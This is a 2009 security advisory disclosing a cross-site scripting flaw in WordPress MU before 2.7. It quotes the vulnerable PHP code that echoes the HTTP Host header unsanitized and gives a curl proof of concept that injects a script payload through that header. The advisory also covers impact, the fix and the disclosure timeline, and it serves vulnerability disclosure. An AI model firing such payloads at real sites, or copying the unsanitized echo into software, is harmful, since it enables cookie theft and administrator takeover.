=============================================
INTERNET SECURITY AUDITORS ALERT 2009-004
- Original release date: December 3rd, 2008
- Last revised:  March 10th, 2009
- Discovered by: Juan Galiana Lara
- Severity: 6.3/10 (CVSS scored)
=============================================

I. VULNERABILITY
-------------------------
WordPress MU < 2.7 'Host' HTTP Header Cross Site Scripting (XSS)
Vulnerability

II. BACKGROUND
-------------------------
WordPress MU, or multi-user, allows to run unlimited blogs with a
single install of wordpress. It is most famously used for
WordPress.com where it serves tens of millions of hits on hundreds of
thousands of blogs each day. Also is used in many other sites like
Harvard University and Le Monde.

III. DESCRIPTION
-------------------------
WordPress MU prior to version 2.7 fails to sanitize the Host header
correctly in choose_primary_blog function and is therefore prune to
XSS attacks.
Web Sites running in a name based virtual hosting setup are not
affected while they are not the default virtual host.

IV. PROOF OF CONCEPT
-------------------------
The snippet of vulnerable code:

In wp-includes/wpmu-functions.php, concretly in the function
choose_primary_blog:

1830 function choose_primary_blog() {
1831     global $current_user;
1832     ?>
1833     <table class="form-table">
1834     <tr>
1835         <th scope="row"><?php _e('Primary Blog'); ?></th>
1836         <td>
1837         <?php
1838         $all_blogs = get_blogs_of_user( $current_user->ID );
1839         if( count( $all_blogs ) > 1 ) {
1840             $primary_blog = get_usermeta($current_user->ID,
'primary_blog');
1841             ?>
1842             <select name="primary_blog">
1843                 <?php foreach( (array) $all_blogs as $blog ) { ?>
1844                     <option value='<?php echo $blog->userblog_id
?>'<?php if( $primary_blog == $blog->userblog_id ) echo '
selected="selected"' ?>>http://<?php echo $blog->domain.$blog->path
?></option>
1845                 <?php } ?>
1846             </select>
1847             <?php
1848         } else {
1849             echo $_SERVER['HTTP_HOST']; <- HERE
1850         }
1851         ?>
1852         </td>
1853     </tr>
1854     </table>
1855     <?php
1856 }

The line 1849 contains the affected code "echo $_SERVER['HTTP_HOST'];"
and is possible to inject HTML and script code crafting HTTP Host header:

PoC:
$ curl -H "Cookie: my cookies here" -H "Host: <body
onload=alert(String.fromCharCode(88,83,83))>"
http://www.example.com/wp-admin/profile.php> tmp.html
$ firefox tmp.html

The javascript code will be executed in the context of the victim
browser, this can be exploited to steal cookies and escalate
privileges to administrator.

Tested with Wordpress MU 2.6.5, Apache 2.2 and Mozilla Firefox 3.0.6

V. BUSINESS IMPACT
-------------------------
The impact is the attacker can gain administrator privileges on the
application.

VI. SYSTEMS AFFECTED
-------------------------
Versions prior to 2.7 are affected

VII. SOLUTION
-------------------------
Upgrade to version 2.7 of wordpress multi-user. It can be downloaded
from http://mu.wordpress.org

VIII. REFERENCES
-------------------------
http://mu.wordpress.org

IX. CREDITS
-------------------------
This vulnerability has been discovered
by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).

X. REVISION HISTORY
-------------------------
December  03, 2008: Initial release
March     02, 2009: More details added

XI. DISCLOSURE TIMELINE
-------------------------
December  03, 2008: Vendor contacted
December  03, 2008: MU trunk code fixed
January   28, 2008: WordPress MU 2.7 released
March     10, 2009: Vulnerability published by
                    Internet Security Auditors (www.isecauditors.com)

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Internet Security Auditors accepts no responsibility for any damage
caused by the use or misuse of this information.

# milw0rm.com [2009-03-10]
